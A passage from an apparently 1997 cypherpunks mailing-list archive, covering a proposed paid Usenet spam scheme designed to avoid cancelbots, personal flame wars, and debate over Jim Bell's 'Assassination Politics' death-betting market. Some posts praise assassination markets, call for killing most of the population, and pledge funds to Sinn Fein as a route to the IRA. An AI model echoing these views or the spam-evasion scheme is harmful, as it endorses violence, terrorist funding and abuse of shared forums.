For a drooling good time.*900-555-5555 3. Drink Kaka Cola and a price list for each regexp - say, $2 for posting this regexp in a moderated newsgroup, 50c for the Big 8, 25c for alt and regionals. I'm not sure if cross-posts should be discounted. Assuming there are several such Alices, the prices will be set by supply and demand. Suppose Bob, in search of a few quick bucks, comes across Alice's site. We'd have to think of a protocol, but Alice assigns Bob an id which he must mention together with the regexps in order to get credit. Alice and Bob enter a contract. Bob puts one or more of Alice's regexps in his Usenet articles - most likely in the .signature. For example: From: bob Newsgroups: rec.sports.phishing,alt.fan.alice Message-ID: <123 at bob.server> -- Elect John M. Grubor sheriff!!! Alice's ID# 123456 I am Bob! I am Bob! I am Bob the Poster! Drink Kaka Kola Alice's bot searches the Usenet feed (like K*bo and S*rd*r) for the regexps that she is paid to promote. When she encounters Bob's article, it extracts Bob's ID and the Message-Id, counts the distinct regexps, and the newsgroups, and credits Bob's account. If Carol follows up on Bob's article and quotes Bob's regexps and ID#, then Bob gets paid again. If somehow an article contains the ID# of two or more of Alice's agents, they split the fee. Alice's contract can also specify that if a third party forges a cancel within a week for Bob's Usenet article containing the regexp, then Alice will pay nothing and let Bob sue the forger for the lost income. (This may become moot as more and more ISPs ignore forged cancels.) This gives Bob the insentive to spam intelligently - not to trigger any cancelbots and not to have his plug pulled by his ISP. Alice can also put some reasonable caps on the number of repetitions because if Bob posts the same regexp 10,000 times, the marginal exposure is less from Bob than from a newbie Carol. Again, if there are several such Alices, the market will take care of negotiating such details. Actually, this doesn't even need e-cash - Alice can pay regular $$$. Hi Ross - if you're still on these lists, I think you'll like this. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From sunder at brainlink.com Tue Apr 8 09:51:32 1997 From: sunder at brainlink.com (Ray Arachelian) Date: Tue, 8 Apr 1997 09:51:32 -0700 (PDT) Subject: Bot-generated insults In-Reply-To: Message-ID: On Mon, 7 Apr 1997, Dr.Dimitri Vulis KOTM wrote: > Ray Arachelian writes: > > > It figures you wouldn't know any other language than BASIC, and nadly > ^^^?? Thanks for the correction of that typo, yes, that should be >badly< not nadly. :) > > written basic at that. I've seen better code written by chimpanzees. > > If Ray "Arsen" Arachelian can work for Earthweb, LLP, as an "associate > network adiministrator", then I'm not surprised if they have chimpanzees > writing Java code as well. If "Dr." Dimitri Vulis, aka "Vebis, The Great Spamholio" can work for the KGB, then it is no wonder that Russia fell apart. Then again, the word is that the NSA's human resources department hire by the same guidelines. Care to share what you know about this? > I used to think that LISP is the best language for such apps, but wouldn't > debase it by writing a simulation of a dandruff-covered Armenian in it. Gee Vulis, I didn't know you were Armenian! > **************************************************************************** Like I said, badly written chimp code, what else can be expected from you? If indeed you wrote that code; more likely you snarffed it off some usenet group. Its text smells suspiciously of an old IBM PC (yes, PC as in the predecesor of the XT) program called nSults. Further, you are lying as usual. There was never such a thing as Earthweb LLP, there isn't now. There was Earthweb, LLC as in Limited Liability Corporation, but of course a clueless KGB shill of your caliber wouldn't know the difference. It's now Earthweb, Inc. (This one free clue provided courtesy of the Clue Store. If you'd like further clues, please call 1-900-GET-CLUE. All calls are $2.95/minute, must be 18 or older to call, or get your parents permission.) As for the programmers Earthweb employs, I can assure you there is nary any of the ape family. (Though some wear extremely cool beards :) And Java they can write. But I code no Java, so I won't speak further on the issue. Oh, and Vebis, please grab that mop behind the door and sweep the dandruff you've left behind off the floor. I wouldn't want anyone mistaking it for snow and trying to ski on it. Besides, I don't want to bother calling the health department on you for such an exhuberant lack of grooming. =====================================Kaos=Keraunos=Kybernetos============== .+.^.+.| Ray Arachelian | "If you're gonna die, die with your|./|\. ..\|/..|sunder at sundernet.com|boots on; If you're gonna try, just |/\|/\ <--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/ ../|\..| "A toast to Odin, |you're gonna die, you're gonna die!" |.\|/. .+.v.+.|God of screwdrivers"| --Iron Maiden "Die With Your Boots on"|..... ======================== http://www.sundernet.com ========================= For with those which eternal lie, with strange eons even death may die. From paul at fatmans.demon.co.uk Tue Apr 8 13:24:06 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Tue, 8 Apr 1997 13:24:06 -0700 (PDT) Subject: Blanc Weber / Positivist Schill Message-ID: <860526937.0523718.0@fatmans.demon.co.uk> > Are you part of a cypherpunks list conspiracy to balance my > cynicism? Are you actually suggesting that there may be a spark > of hope for mankind to prevail in the battle with the forces of > mindless robotic sheepnocity? There is little hope unless we kill around 70% of the population of the planet, those untouched by western "democracy" or the totalitarian autocracies of the mid and far east are the only people sure to be mentally capable of comprehending the ethical theory and idealogy of anarchism. > You seem to be one of the eternal optimists who can even see > the possible good in AP. One does not need to be an optimist to see the good in AP, merely capable of following a logical chain of thought without allowing yourself to react to things rather than really considering them. > I suggested in a recent post that perhaps Green Peace could use > the AP system to drain the profit margins of whalers without > actually causing their death. Of course, I was low on Scotch at > the time, so my idea cannot be taken seriously. I am low on Jack Daniels at the moment, so I too am not functioning as usual. Reality is merely a halucination brought on by lack of alcohol. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From null at myemail.net Tue Apr 8 14:10:15 1997 From: null at myemail.net (null at myemail.net) Date: Tue, 8 Apr 1997 14:10:15 -0700 (PDT) Subject: Kent Crispin-Baker Message-ID: <21101068102156@MyEmail.net> Kent Crispin wrote: > > On Mon, Apr 07, 1997 at 07:24:03PM -0600, Toto wrote: > > Kent Crispin wrote: > > > > > > In fact, a case could be made for > > > considering Jim Bell as a NSA shill. > > So, now Kent is volunteering to testify to the fact that Jim Bell is > > an NSA shill. (and still seems ashamed of his .gov address) > Just so you know, Toto, .gov informs me it doesn't want there to be > the slightest possibility of anyone thinking I am speaking for it. Amazing that they notified you right after I made note of it, isn't it? > And the part about Jim Bell being an NSA shill? I am not volunteering > to testify to anything, but your are the *second* person to say > something about it, so it *must* be true. And the part about the > statist agenda? That must be true too, since you quoted it. I think that they are confusing you with Hallam-Baker, who offered to testify against Bell in court. This is an understandable error, since even a modicum of traffic analysis shows that you work in concert with one another. > -- > Kent Crispin > kent at songbird.com [ And, lest we forget: kc at llnl.gov ] TruthMonger ************************************************************************ This Anonymous email has been relayed by http://www.MyEmail.net/ MyEmail.Net is a free anonymous mailing service. No records indicating the identity of person(s) who originated this message are retrieved electronically, or as a requirement to submit. Your email address can be blocked to prevent further contact from this service, please refer to the URL above for instructions on how to do so. ************************************************************************ From null at myemail.net Tue Apr 8 14:10:31 1997 From: null at myemail.net (null at myemail.net) Date: Tue, 8 Apr 1997 14:10:31 -0700 (PDT) Subject: Kent Crispin-Baker Message-ID: <21102069502157@MyEmail.net> Kent Crispin wrote: > > On Mon, Apr 07, 1997 at 07:24:03PM -0600, Toto wrote: > > Kent Crispin wrote: > > > > > > In fact, a case could be made for > > > considering Jim Bell as a NSA shill. > > So, now Kent is volunteering to testify to the fact that Jim Bell is > > an NSA shill. (and still seems ashamed of his .gov address) > Just so you know, Toto, .gov informs me it doesn't want there to be > the slightest possibility of anyone thinking I am speaking for it. Amazing that they notified you right after I made note of it, isn't it? > And the part about Jim Bell being an NSA shill? I am not volunteering > to testify to anything, but your are the *second* person to say > something about it, so it *must* be true. And the part about the > statist agenda? That must be true too, since you quoted it. I think that they are confusing you with Hallam-Baker, who offered to testify against Bell in court. This is an understandable error, since even a modicum of traffic analysis shows that you work in concert with one another. > -- > Kent Crispin > kent at songbird.com [ And, lest we forget: kc at llnl.gov ] TruthMonger ************************************************************************ This Anonymous email has been relayed by http://www.MyEmail.net/ MyEmail.Net is a free anonymous mailing service. No records indicating the identity of person(s) who originated this message are retrieved electronically, or as a requirement to submit. Your email address can be blocked to prevent further contact from this service, please refer to the URL above for instructions on how to do so. ************************************************************************ From toto at sk.sympatico.ca Tue Apr 8 14:11:26 1997 From: toto at sk.sympatico.ca (Toto) Date: Tue, 8 Apr 1997 14:11:26 -0700 (PDT) Subject: Denning paper on crypto, EU mandatory GAK In-Reply-To: <3.0.1.32.19970408040544.0075e1c0@postoffice.pacbell.net> Message-ID: <334AAA28.12A9@sk.sympatico.ca> Greg Broiles wrote: > dated 2/19/97) paper by Dorothy Denning re crypto and crypto > policy/legislation. > >>>> > The European Commission has been preparing a proposal to establish a > European-wide > network of Trusted Third Parties (ETS) that would be accredited to offer > services that support digital signatures, notarization, confidentiality, and > data integrity. > The trust centers, which would operate under the control of member nations, > <<<< > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ We are seeing a globalization of what has long occurred in the U.S., wherein the govt will 'shop' for a state with laws on the books which are needed to screw over a citizen in a different state, and then proceed to set them up to violate laws that don't exist in their home state. In the future, we will be subjected to prosecution for violating "international law" every time Upper Mongolia passes laws against being left-handed, or having warts. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From toto at sk.sympatico.ca Tue Apr 8 14:12:13 1997 From: toto at sk.sympatico.ca (Toto) Date: Tue, 8 Apr 1997 14:12:13 -0700 (PDT) Subject: Jim Bell raid In-Reply-To: <199704081254.IAA13618@odin.appliedtheory.com> Message-ID: <334AAE5E.38F5@sk.sympatico.ca> Christopher Blizzard wrote: > In message , Sergey Goldga > ber writes: > :Jim Bell's essay is, IMO, definately free speech. And, as you can see from > :the IRS Inspection report, he was not charged with anything relating to the > :essay itself. In fact, the raid happened a long time after he published > :the essay, and may truely be unrelated. > Of course, the papers only talk about this. Buy a clue, dudes. The application for a search warrant made it more than plain that the main basis for the search and seizure fishing expedition mounted by the Feds was based largely on his promotion of AP. Only a few, sparse lines of the application are related to valid IRS concerns re: taxes, etc. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From ichudov at algebra.com Tue Apr 8 14:20:05 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 8 Apr 1997 14:20:05 -0700 (PDT) Subject: Anti-Spambot: what algorithm should be used? In-Reply-To: Message-ID: <199704082118.QAA03138@manifold.algebra.com> i think that it is a good idea. remember though that it will not be hard to modify newsreader clients to automatically killfile all articles matching Alice's regexps, or even to grab them automatically from her website. So Alice may discover that her business is not as effective. igor Dr.Dimitri Vulis KOTM wrote: > > owner-cypherpunks at manifold.algebra.com writes: > > > As we all know, there exist certain programs, called "spambots", whose > > task is to post various messages to many newsgroups simultaneously. > > > > Besides their posting functionality, certain spambot programs take > > special care to make their spams undetectable by anti-spambots. In > > particular, they can be programmed to modify certain fields or the > > message text itself in such a way that these messages would not look > > unique, but would still carry the same content. > > I just came up with yet another brilliant idea how to combine Usenet > marketing with e-cash. Suppose Alice runs an advertizing agency and gets > paid to publicize certain messages of commercial or political nature. > > She sets up a Web page listing the catalog of regexps that she wishes to > publicize. Something like: > > 1. Visit.*teens.*http://www.xxxfoo.bar > 2. Elect.*John M. Grubor.*sheriff > 4. For a drooling good time.*900-555-5555 > 3. Drink Kaka Cola > > and a price list for each regexp - say, $2 for posting this regexp in a > moderated newsgroup, 50c for the Big 8, 25c for alt and regionals. I'm > not sure if cross-posts should be discounted. Assuming there are several > such Alices, the prices will be set by supply and demand. > > Suppose Bob, in search of a few quick bucks, comes across Alice's site. > We'd have to think of a protocol, but Alice assigns Bob an id which he > must mention together with the regexps in order to get credit. Alice and > Bob enter a contract. Bob puts one or more of Alice's regexps in his > Usenet articles - most likely in the .signature. For example: > > From: bob > Newsgroups: rec.sports.phishing,alt.fan.alice > Message-ID: <123 at bob.server> > > -- > Elect John M. Grubor sheriff!!! Alice's ID# 123456 > I am Bob! I am Bob! I am Bob the Poster! Drink Kaka Kola > > Alice's bot searches the Usenet feed (like K*bo and S*rd*r) for the > regexps that she is paid to promote. When she encounters Bob's article, > it extracts Bob's ID and the Message-Id, counts the distinct regexps, and > the newsgroups, and credits Bob's account. > > If Carol follows up on Bob's article and quotes Bob's regexps and ID#, > then Bob gets paid again. If somehow an article contains the ID# of two > or more of Alice's agents, they split the fee. > > Alice's contract can also specify that if a third party forges a cancel > within a week for Bob's Usenet article containing the regexp, then Alice > will pay nothing and let Bob sue the forger for the lost income. (This > may become moot as more and more ISPs ignore forged cancels.) This gives > Bob the insentive to spam intelligently - not to trigger any cancelbots > and not to have his plug pulled by his ISP. > > Alice can also put some reasonable caps on the number of repetitions > because if Bob posts the same regexp 10,000 times, the marginal exposure > is less from Bob than from a newbie Carol. Again, if there are several > such Alices, the market will take care of negotiating such details. > > Actually, this doesn't even need e-cash - Alice can pay regular $$$. > Hi Ross - if you're still on these lists, I think you'll like this. > > --- > > Dr.Dimitri Vulis KOTM > Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps > - Igor. From lucifer at dhp.com Tue Apr 8 14:39:06 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Tue, 8 Apr 1997 14:39:06 -0700 (PDT) Subject: Cuba and AP Message-ID: <199704082138.RAA26359@dhp.com> TruthMonger (#23) wrote: > Only, I say only, when it became common knowledge that Castro > was backed by the commies did he become the villain. > > Better the people suffer under bu$ine$$-supported Batista than > be ruled by a Red! The Cuban people obviously thought differently, regardless of the wishes of foreign interests. > Believe it; I was there, whippersnapper! Yes, but you wouldn't be *here* if my gun hadn't jammed. TruthMonger (#7) "This grassy knoll looks like a good place to have lunch. What's in the picnic basket?" From ichudov at algebra.com Tue Apr 8 15:10:54 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 8 Apr 1997 15:10:54 -0700 (PDT) Subject: Anti-Spambot: what algorithm should be used? In-Reply-To: Message-ID: <199704082129.QAA03372@manifold.algebra.com> Another problem: what would prevent an anti-spam zealot from posting the following: From: antispammer at usenet.cabal.com Newsgroups: rec.sports.phishing,alt.fan.alice Message-ID: <123 at bob.server> -- Alice's ID# 123456 Drink Kaka Kola -- Kaka Cola is full of shit, do not drink it, I am just collecting $$ from stupid Alice, Hahaha!!! Igor Chudov @ home wrote: > > i think that it is a good idea. > > remember though that it will not be hard to modify newsreader clients to > automatically killfile all articles matching Alice's regexps, or even to > grab them automatically from her website. So Alice may discover that her > business is not as effective. > > igor > > Dr.Dimitri Vulis KOTM wrote: > > > > owner-cypherpunks at manifold.algebra.com writes: > > > > > As we all know, there exist certain programs, called "spambots", whose > > > task is to post various messages to many newsgroups simultaneously. > > > > > > Besides their posting functionality, certain spambot programs take > > > special care to make their spams undetectable by anti-spambots. In > > > particular, they can be programmed to modify certain fields or the > > > message text itself in such a way that these messages would not look > > > unique, but would still carry the same content. > > > > I just came up with yet another brilliant idea how to combine Usenet > > marketing with e-cash. Suppose Alice runs an advertizing agency and gets > > paid to publicize certain messages of commercial or political nature. > > > > She sets up a Web page listing the catalog of regexps that she wishes to > > publicize. Something like: > > > > 1. Visit.*teens.*http://www.xxxfoo.bar > > 2. Elect.*John M. Grubor.*sheriff > > 4. For a drooling good time.*900-555-5555 > > 3. Drink Kaka Cola > > > > and a price list for each regexp - say, $2 for posting this regexp in a > > moderated newsgroup, 50c for the Big 8, 25c for alt and regionals. I'm > > not sure if cross-posts should be discounted. Assuming there are several > > such Alices, the prices will be set by supply and demand. > > > > Suppose Bob, in search of a few quick bucks, comes across Alice's site. > > We'd have to think of a protocol, but Alice assigns Bob an id which he > > must mention together with the regexps in order to get credit. Alice and > > Bob enter a contract. Bob puts one or more of Alice's regexps in his > > Usenet articles - most likely in the .signature. For example: > > > > From: bob > > Newsgroups: rec.sports.phishing,alt.fan.alice > > Message-ID: <123 at bob.server> > > > > -- > > Elect John M. Grubor sheriff!!! Alice's ID# 123456 > > I am Bob! I am Bob! I am Bob the Poster! Drink Kaka Kola > > > > Alice's bot searches the Usenet feed (like K*bo and S*rd*r) for the > > regexps that she is paid to promote. When she encounters Bob's article, > > it extracts Bob's ID and the Message-Id, counts the distinct regexps, and > > the newsgroups, and credits Bob's account. > > > > If Carol follows up on Bob's article and quotes Bob's regexps and ID#, > > then Bob gets paid again. If somehow an article contains the ID# of two > > or more of Alice's agents, they split the fee. > > > > Alice's contract can also specify that if a third party forges a cancel > > within a week for Bob's Usenet article containing the regexp, then Alice > > will pay nothing and let Bob sue the forger for the lost income. (This > > may become moot as more and more ISPs ignore forged cancels.) This gives > > Bob the insentive to spam intelligently - not to trigger any cancelbots > > and not to have his plug pulled by his ISP. > > > > Alice can also put some reasonable caps on the number of repetitions > > because if Bob posts the same regexp 10,000 times, the marginal exposure > > is less from Bob than from a newbie Carol. Again, if there are several > > such Alices, the market will take care of negotiating such details. > > > > Actually, this doesn't even need e-cash - Alice can pay regular $$$. > > Hi Ross - if you're still on these lists, I think you'll like this. > > > > --- > > > > Dr.Dimitri Vulis KOTM > > Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps > > > > > > - Igor. > - Igor. From aba at dcs.ex.ac.uk Tue Apr 8 15:24:53 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Tue, 8 Apr 1997 15:24:53 -0700 (PDT) Subject: Adam Back speaks out on AP / was: Jim Bell? Never heard of him. In-Reply-To: <199704080100.VAA21197@dhp.com> Message-ID: <199704082109.WAA00568@server.test.net> Anonymous writes: > Adam Back wrote: > > It is almost as if they are afraid to discuss openly their views on > > the subject. > > This doesn't stop them from castigating those who post > anonymously in regard to this subject. > > (As if not wanting to face 20 armed government agents who > consider you "armed and dangerous" {i.e. shoot first and ask > questions later} somehow negates their facts and logic.) A very good reason to post anonymously, agreed. There is a cost with anonymity: people take you less seriously, none of your reputation is on the line. Anonmous persistent personas might be better as they allow reputation to be tracked. However persistent personas open themselves to writing style analysis attacks. > > Democracy is one person one vote, however this is skewed in most > > democracies by numerous factors: corporate lobbying, media influence, > > and people who are easily influenced by media. > > > > AP is one $ one vote. Theoretically rich people could out-vote their > > rivals. > > So the end result might well be, not the assassination of those > involved, but the lessening of their power by virtue of depleting > their funds, which leads to a more equal playing field. I'm not sure this follows. If a corporate can use it's wealth to influence other groups, for example by assasinating key employees of opposition company, it may well get richer as a result. People do things for their own benefit, and to the extent that their predictions are accurate, those who participate will fare better than those who do not (modulo the chance of reprisals, if it is apparent who is doing the attacking, and if the attacked organisation survives to retaliate). > > We have no way of knowing whether the outcome would be "a good > > thing" by any chosen metric. > > But the results would be a far cry more interesting than > reruns of Gilligan's Island. Yeah, but if the premises required for AP to exist at all are true (government-proof anonymous payment system), and if it doesn't turn out to be much fun, you'll have a job getting out of it. Adam -- Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Adam Back wrote: > Anonymous writes: > There is a cost with > anonymity: people take you less seriously, none of your reputation is > on the line. Anonmous persistent personas might be better as they > allow reputation to be tracked. True, if your concern is to be listened to by those concerned about reputation. If your aim is for your post to stand upon its own facts and logic, however, then a 0-reputation persona may be preferable. There were a series of "Jim Bell is a loon." postings which I found to be uninformative in regard to the points they seemed to want to ramrod past the readers by virtue of discounting the message via slamming the messenger. > > So the end result might well be, not the assassination of those > > involved, but the lessening of their power by virtue of depleting > > their funds, which leads to a more equal playing field. > > I'm not sure this follows. > > If a corporate can use it's wealth to influence other groups, for > example by assasinating key employees of opposition company, it may > well get richer as a result. I see the value of AP not in the assassination of others, but in the potential for a wide-ranging group of individuals to drain the assets of their oppressors. Large grocery chains have a history of moving into an area, then undercutting the little guys until they are forced out of business, whereupon they raise their prices outrageously, unfettered by competition. AP might well serve as an avenue for the little guys to band together to target these operations and remove the profitability of this mode of monopolistic attack. The TruthMonger multi-user persona might well serve as a similar example of raising the cost of doing "character assassination" business. I might well be Jim Bell, himself. However, rather than saying, "Jim Bell is a loon, so we can discount all of TruthMonger's arguments.", one is forced to deal with the validity of the arguments, facts, and logic in the posts. Certainly a persona with built-up reputation capital can be an asset in many situations, but there is also a time when anonymous communications can serve as a conduit for weaning out those enamored with personality issues, and who lack the discernment to judge the true content and logic underlying a message. TruthMonger From dlv at bwalk.dm.com Tue Apr 8 17:09:53 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 8 Apr 1997 17:09:53 -0700 (PDT) Subject: 20 Armed Feds raid home of guy (Jim Bell) who posted to Internet In-Reply-To: <199704081746.KAA30351@you.got.net> Message-ID: tcmay at got.net (Tim May) writes: > had a chance to arise. And at least a couple of CP list members have talked > about lawsuits, without any apparent devastation of their repuations (even Has or hasn't C2Net's reputation been devastated by Sandy Sandfart? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Tue Apr 8 17:10:02 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 8 Apr 1997 17:10:02 -0700 (PDT) Subject: Please donate to Sean Fein whenever Hallam-Baker posts to this list Message-ID: paul at fatmans.demon.co.uk writes: > > >You may have put your own life at risk. The IRA is not the only > > >terrorist group in Ireland, its opponents make a point of assasinating > > >anyone who openly supports IRA activities. > > > > > > Phill. > > Oh dear Dimitri, I do hope Phill hasn`t frightened you *too* much ;-) Not at all - he just reaffirmed my conviction that the IRA is right. > > > Paul, or someone in U.K. - > > I'd like to donate $1 to the IRA every time Hallam-Baker posts to > > this mailing list. Can someone please tell me a convenient way > > to send them donations? Thank you very much. > > I would say you were probably best to send a $1 donation for each > post to Sinn Fein, the "legitimate" political wing of the IRA which > claims not to condone their violent actions but is, in fact, a > conduit for IRA funding. I don`t know their address but if you do a > web search in UK polotics for Sinn Fein you should find them pretty > easily. They may also be a good site to run an AP bot from ;-) That's an excellent suggestion! Thank you very much, Paul. I found their web site at http://www.irlnet.com/sinnfein. They have a little electronic commerce page - if you have ssh, you can order a cool Bobby Sands T-shirt and pay with your Visa or MasterCard. OK, I hereby pledge to snail-mail $1 cash to: Friends of Sinn F\'ein 510 C St NE Washington, DC 20002 Every time Hallam-Baker posts to this mailing list. I urge other list members to do likewise. You will be supporting a just cause. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Tue Apr 8 17:10:02 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 8 Apr 1997 17:10:02 -0700 (PDT) Subject: AP Revisited In-Reply-To: <860526938.0523719.0@fatmans.demon.co.uk> Message-ID: paul at fatmans.demon.co.uk writes: > > Like Insurance? By purchasing insurance you are in effect > > betting that you _will_ have an accident that does more damage than > > you have paid in premiums. > > > > Really contorted huh? > > Hmm, I hadn`t thought of that, this is an interesting way to see AP: > Taking out a life insurance policy on someone else... But of course - entities that sell insurance/write options refer to their business as "making bets" and that's exactly what it is. By the way a lot of people in the finance industry are compulsive gamblers who lose tremendous amounts of money on horses, sports events, Atlantic City, etc. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Tue Apr 8 17:20:44 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 8 Apr 1997 17:20:44 -0700 (PDT) Subject: Adam Back speaks out on AP / was: Jim Bell? Never heard of him. In-Reply-To: <199704082109.WAA00568@server.test.net> Message-ID: <8P0u5D91w165w@bwalk.dm.com> Adam Back writes: > If a corporate can use it's wealth to influence other groups, for > example by assasinating key employees of opposition company, it may > well get richer as a result. C2Net threatens its critics with lawsuits. Does it get richer as a result of its barratrous behavior? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From rah at shipwright.com Tue Apr 8 17:53:26 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 8 Apr 1997 17:53:26 -0700 (PDT) Subject: congressman wants review of online banking system Message-ID: --- begin forwarded text X-Sender: oldbear at pop.tiac.net Date: Tue, 08 Apr 1997 17:58:51 -0400 To: Digital Commerce Society of Boston From: The Old Bear Subject: congressman wants review of online banking system Mime-Version: 1.0 Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: The Old Bear CONGRESSMAN CALLS FOR REVIEW OF ONLINE BANKING House Banking Committee Chairman James Leach (R-Iowa) has asked the General Accounting Office to review whether the Federal Reserve has sufficiently protected its Fedwire funds transfer and security transfer system from electronic trespassing. Fedwire processes around 380,000 securities and funds transfers totaling $1.6 trillion each day. source: BNA Daily Report for Executives April 7, 1997 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo at ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB at ai.mit.edu --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From nobody at huge.cajones.com Tue Apr 8 18:16:48 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Tue, 8 Apr 1997 18:16:48 -0700 (PDT) Subject: AP Revisited Message-ID: <199704090116.SAA12194@fat.doobie.com> Dr. Roberts suggestively wrote: >>The War on Drugs was first declared by President Nixon. It has been a >>failure ever since. >No, the "War on Drugs" was in Vietnam. > >Dr. Roberts Lost that one too. AP is OK if it's a bounty on drug dealers. More hypocrisy. Ms. Dr. Roberts From kent at songbird.com Tue Apr 8 18:31:39 1997 From: kent at songbird.com (Kent Crispin) Date: Tue, 8 Apr 1997 18:31:39 -0700 (PDT) Subject: Kent Crispin-Baker In-Reply-To: <21101068102156@MyEmail.net> Message-ID: <19970408182855.29483@bywater.songbird.com> On Tue, Apr 08, 1997 at 04:10:04PM -0500, null at myemail.net wrote: > Kent Crispin wrote: > > On Mon, Apr 07, 1997 at 07:24:03PM -0600, Toto wrote: > > > So, now Kent is volunteering to testify to the fact that Jim Bell is > > > an NSA shill. (and still seems ashamed of his .gov address) > > > > Just so you know, Toto, .gov informs me it doesn't want there to be > > the slightest possibility of anyone thinking I am speaking for it. > > > > Amazing that they notified you right after I made note > of it, isn't it? No, they notified me years ago. The fact that it was noticed on this list reminded me that I had been lax. Just to be absolutely clear on this, everything you see from me is my personal opinion. I do not speak for any government agency. > > And the part about Jim Bell being an NSA shill? I am not volunteering > > to testify to anything, but your are the *second* person to say > > something about it, so it *must* be true. And the part about the > > statist agenda? That must be true too, since you quoted it. > > I think that they are confusing you with Hallam-Baker, who > offered to testify against Bell in court. > This is an understandable error, since even a modicum of > traffic analysis shows that you work in concert with one > another. Ask me if I care. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From weidai at eskimo.com Tue Apr 8 18:52:25 1997 From: weidai at eskimo.com (Wei Dai) Date: Tue, 8 Apr 1997 18:52:25 -0700 (PDT) Subject: some arguments for privacy In-Reply-To: <3.0.1.32.19970408040639.02760018@postoffice.pacbell.net> Message-ID: On Tue, 8 Apr 1997, Greg Broiles wrote: > One of the problems with talking about privacy is that people use the word to > mean many different things. Apropos to the current discussion, I see two > different uses co-existing in a non-useful way: > > 1. Privacy as a lack of information > 2. Privacy as a right to control the flow of information > > where the second usage refers to the ability to decide who ends up with the > first usage. I'm assuming that lack of information can be characterized as > risk, and that risk can be characterized as negative value. The Coase Theorem > would seem to suggest that the second usage is (may be) superfluous, because > the [lack of] information/risk will be allocated to the party which values it > most. However, the right discussed in (2) is still meaningful, because it is > (and will) be used as a bargaining chip to gain or lose other things of > value. What I meant by privacy is somewhat different from your definitions: "the ability of an individual to control the distribution of information about himself". Notice that I said "ability" instead of "right". Part of what makes privacy so interesting is that the Coase Theorem doesn't apply. If you look at the Coase Theorem carefully, it presuposes the lack of transaction costs, which in turn means that all relevant information is distributed symmetrically among interested parties. (Otherwise the cost of inducing some individuals to disclose private information to others becomes part of the transaction cost.) Therefore even to invoke the Coase Theorem implies that either there is no privacy, or for some reason no one chooses to exercise his privacy. In fact, this is exactly what I meant by the inefficiency of privacy: not only does the Coase Theorem not apply to privacy itself, it undermines the Coase Theorem everywhere else by increasing transaction costs. The rest of your article is very interesting, so please keep going. I'll just take this opportunity to point out that the most useful measure of efficiency is a relative one. Even the centrally planned economy is not totally inefficient. Apparently some CPEs seem quite able to keep its citizens from starvation, even for years at a time. The CPE is only inefficient compared to the market economy. If for some reason human beings are inherently unable to organize markets (perhaps because of some deep-seated cultural bias against putting prices on essentials like food and children), then the CPE might very well be the best alternative. From cynthb at sonetis.com Tue Apr 8 19:38:30 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Tue, 8 Apr 1997 19:38:30 -0700 (PDT) Subject: Is Cynthia H. Brown "pissing up a rope"? In-Reply-To: <3349A7E3.2D0F@sk.sympatico.ca> Message-ID: <199704090238.WAA01165@homer.iosphere.net> On Tue, 08 Apr 1997, Alec wrote: > At 08:05 PM 4/7/97 -0600, Toto wrote: > > |> Results pasted in from http://www.nbceurope.com/ > |> 85% said no... > |> while 15% said yes. > > | Is Cynthia H. Brown pissing up a rope? Unfortunately I don't have enough port in the house to accomplish that feat. (Plus, I'm lacking the equipment to aim properly :-)) > | Toto said yes, 85 times. > | 